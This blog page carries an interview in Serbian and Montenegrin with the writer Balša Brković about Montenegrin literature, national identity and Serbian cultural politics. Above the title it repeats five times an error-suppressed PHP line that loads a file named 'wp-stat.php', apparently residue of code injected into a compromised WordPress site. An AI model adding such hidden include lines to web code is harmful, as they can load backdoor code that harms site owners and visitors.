@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); BALŠA BRKOVIĆ, PISAC: Beg od srednjovekovnih manastirskih magluština – Nedim Sejdinović

BALŠA BRKOVIĆ, PISAC: Beg od srednjovekovnih manastirskih magluština

Književnik, književni i pozorišni kritičar i novinar Balša Brković, po mnogima je najznačajniji predstavnik mlade generacije crnogorske proze i poezije, generacije koja je donela jedan posve drugačiji, urbani senzibilitet, kao i žanrovsku raznolikost i estetizam. Njegov prvi roman, “Privatna galerija”, objavljen u Zagrebu, postao je pravi hit u Crnoj Gori, Hrvatskoj i BiH, a o njemu su pisali i najznačajniji kritičari mlađe generacija sa svih strana Drine, Dunava i Save. U Srbiji je ovaj roman nažalost prećutan.

Kao književnik, kritičar i urednik kulturne rubrike u najuticajnijem crnogorskom listu “Vijesti”, možeš li nam reći kako stvari u crnogorskoj književnosti danas stoje? I šta se dešava sa kulturnim identitetom Crne Gore u traumatičnom društvenom i političkom kontekstu?

– Danas je crnogorska književnost dinamičnija nego ikada. Posebno je vrijedna njena poetička razuđenost, jedno lijepo i uzbudljivo raznoglasje… To je posebno vrijedno u svijetlu činjenice da je ovdje bila apsolutno dominantna ta pogubna njegoševska paradigma. Naravno, Njegoš je najveći pjesnik ovoga jezika, ali veliki pisci nisu odgovorni za svoje loše čitaoce. Uvjeren sam da ni sam Njegoš danas ne bi mislio “njegoševski“, budući da su značenje toga pojma u bliskoj prošlosti kreirali ordinarni fašisti, banalni nacionalni tribuni i poluintelektualni provincijski prosvjetari…

Nova crnogorska književnost danas je fenomen druge vrste… Pogledajte ono što pišu autori poput Andreja Nikoalidisa, Aleksandra Bečanovića, Ognjena Spahića, Pavla Goranovića, Ratka Radunovića, Jovanke Uljarević ili vašeg sagovornika, pa će vam sve biti jasno. Na svu sreću, crnogorska književnost danas daleko je od crnogorskog stereotipa, a to je najbolje što se može desiti jednoj književnosti.

Današnji crnogorski identitet je identitet traženja, redefinisanja, identitet napuštanja te ogavne spartanske mistifikacije… Današnja Crna Gora je interesantno mjesto, prije svega zato što više nema nikakve veze sa narodnom epskom poezijom, i sličnim mentalnim rezervatima koji su, tu, do skori, bili namijenjeni Crnoj Gori.

Kod tebe i još nekolicine crnogorskih književnika mlađe generacije, primetno je veliko interesovanje za politička i društvena dešavanja. Sa druge strane, ovde u Srbiji književnici svih generacija – čast retkim izuzecima – neprestano se kriju od stvarnosti, pokušavaju da aziliraju, najčešće u prošlost. Kako to objašnjavaš?

– Ova stvarnost je interesantna i ne bi bilo mudro ignorisati je. Svaka tranziciona realnost nosi mnoštvo književno intrigantnih impulsa. Ako želite da tekstom svjedočite jedan duh vremena i sebe pod tim plaštom, onda je sasvim logično da vas mora zanimati stvarnost, pa bila vam ona, ili ne, po volji.

S druge strane, znam da je u Srbiji drugačije, ali, postoje sjajni srpski pisci koji se ne uklapaju u tako sumornu ocjenu. Prije svega mislim na Marka Vidojkovića, Vlada Arsenijevića i Biljanu Srbljanović… A ovi pavićevci što misle da je književnost dostojna jedino ako se sakrije u kakve srednjovjekovne manastirske magluštine, nisu samo epigoni, već autori koji vam nemaju što reći… Pa zašto bi ih onda uopšte slušali. Ljudi, prirodno, žele da čuju onoga ko ima nešto da im kaže.

Stiče se utisak da najmlađa generacija crnogorskih književnika nije preterano zainteresovana za svoju promociju u Beogradu i Srbiji. Da li je to tako i da li je tačno da komunikacija među kulturama bivše SFRJ uglavnom zaobilazi Srbiju?

– Zapravo je obrnuto. Na žalost, Beograd i Srbija nisu previše zainteresovani za aktuelnu crnogorsku književnost. Mislim da nekome više odgovara da se ne zna za te “nove vjetrove“ u Crnoj Gori, jer, ovako, bez te informacije, Vi možete i dalje komunicirati sa stereotipom, bez obaveze da zaista razumijete Što se tamo, u Crnoj Gori, dešava… A to je loše. Onda, imate gomilu tih Crnogoraca koji dobijajau silan prostor u beogradskim medijima sa samo jednim ciljem – prikazati Crnu Goru kao neki budalasti epski Titanik na kom se ništa drugo ne dešava nego se prepričavaju bitke sa Turcima i slično. To je ta opaka bećkovićevska paradigma. Ako bi mogli da komunicirate, da vidite, jednu sasvim drugačiju, krajnje urbanu Crnu Goru, onda bi shvatili i u Beogradu i u Srbiji, koliko ih zapravo temeljno obmanjuju i Bećković i svi ti njihovi “pošteni“ Crnogorci…

Gde se nalazi granica koju pisac ne sme preći u pravcu mašte ili stvarnosti? Odnosno, kada sama stvarnost počinje da opterećuje književno-umetničko delo, a kada odsustvo stvarnosti? Otkud toliko književnika u Srbiji koji nemaju kritični ili bilo kakav stav prema stvarnosti?

– Odsustvo kritičke dimenzije kod pisaca je vrsta kompromisa sa sramnim elitama. Nema omjera koji se može preporučiti kao dobar – koliko stvarnosti. Nije to pitanje. Pravo pitanje je – kako? Kako stvarnost pretočiti u tekst. Tu je na sceni vaš talenat, znanje i književno umijeće. Nikada stvarnost ne opterećuje književno djelo, opterećuje ga odsustvo talenta. To je opasno.

Ovdašnja kultura vrlo jednostavno i bez griže savesti ekskomunicira ljude ukoliko ne žele da pristanu na određena pravila autističnog, predmodernog pogleda na svet. Setimo se samo Bore Ćosića, Mirka Kovača, Vidosava Stevanovića, koji su faktički gumicom izbrisani sa mape srpske kulture! Slična stvar se desila sa tvojim ocem Jevremom u Crnoj Gori, ali on se posle svega ipak vratio na velika vrata u Crnu Goru. Kakva se to promena u Crnoj Gori desila, a nije u Srbiji?

– Pa, ovdje, na svu sreću, niko nije ubio premijera. To je već jedan bitan momenat razlikovanja. Imena koja ste pomenuli ne mogu se izbrisati sa mape srpske kulture. Oni su – srpska kultura. Na duge staze gledano, sa te mape sebe su izbrisali oni koji vjeruju da su napravili etnički čistu kulturu. Posljedica toga su skandali povodom onoga što se desilo profesoru Milenku Peroviću sa onim mladim nacistima. Naravno, ima i u Crnoj Gori fašista, ali nemaju toliku podršku, prećutnu ili javnu od vlasti kao u Srbiji. Opet, ono što uliva nadu je da i u Srbiji postoje konsekventni antifašisti i modernomisleći ljudi poput Čede Jovanovića. Ali, čini mi se da im nije lako…

Pretpostavljam da je teško književniku odgovoriti na pitanje koji su pisci na njega najviše uticali. Da li biste ipak pokušali? Da li su važnije knjige koje se pročitaju u periodu rane mladosti ili one koje se čitaju potom?

– Ja sam opsjednut čitanjem i knjigama, i to, sticajem okolnosti, od najranijeg djetinjstva. Ovaj svijet je biblioteka, sve ostalo je upitno… Vjerujem da su mnogi pisci uticali na mene – od Danila Kiša i Miroslava Krleže kada je riječ o piscima zajedničkog a četvoroimenog jezika, pa do Zbignjeva Herberta, Vladimira Nabokova ili Itala Kalvina… I mnogi drugi, nesumnjivo. Važne su sve knjige koje pročitamo, jer tekst je jedino ogledalo gdje zaista možemo pronaći svoj pravi lik…

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.